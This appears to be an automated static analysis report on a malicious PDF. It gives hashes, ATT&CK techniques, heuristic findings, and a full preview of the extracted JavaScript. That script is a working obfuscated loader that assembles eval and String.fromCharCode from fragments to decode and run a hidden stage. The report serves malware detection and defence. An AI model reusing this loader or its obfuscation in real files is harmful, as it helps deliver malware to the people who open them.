Malicious PDF — malware analysis report

Static analysis result for SHA-256 76e889606792b5dc…

MALICIOUS

PDF

45.0 KB First seen: 2026-05-08
MD5: 3a51db2f6fe6c23a68aeb1faf51bf6de SHA-1: 2632f9252e76b24a0176b4c3ad32389272b4319b SHA-256: 76e889606792b5dcf2a0355419890b22d2dd45a27b999147be06fa4b3877d820
86 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1566.001 Spearphishing Attachment

The PDF contains obfuscated JavaScript, identified as a loader, which is designed to decode and execute a secondary payload. The script dynamically constructs a URL from concatenated strings and uses it to fetch the next stage. The ML classifier strongly indicates maliciousness, and the obfuscated loader points to a downloader pattern.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB173 447 bytes
SHA-256: e3e9ce6eeebcd98eca69af699e069a886dce2014bf9b6a4e680562ae0542baab
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
iyihy='';
tjg=('qwrwqr','tit');
e('bspoj=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
ngnj=e('String.fr'+bspoj.substr(0,10));
lfm = e(bspoj.substr(10)['replace'](/u/g,','));
e('k=lfm.length');
for (i = 0; i < k; i+=2) {
	ovcj = lfm[i+1] + ('erybjkerl',lfm[i]);
	iyihy += ngnj(ovcj);
}
e(iyihy);

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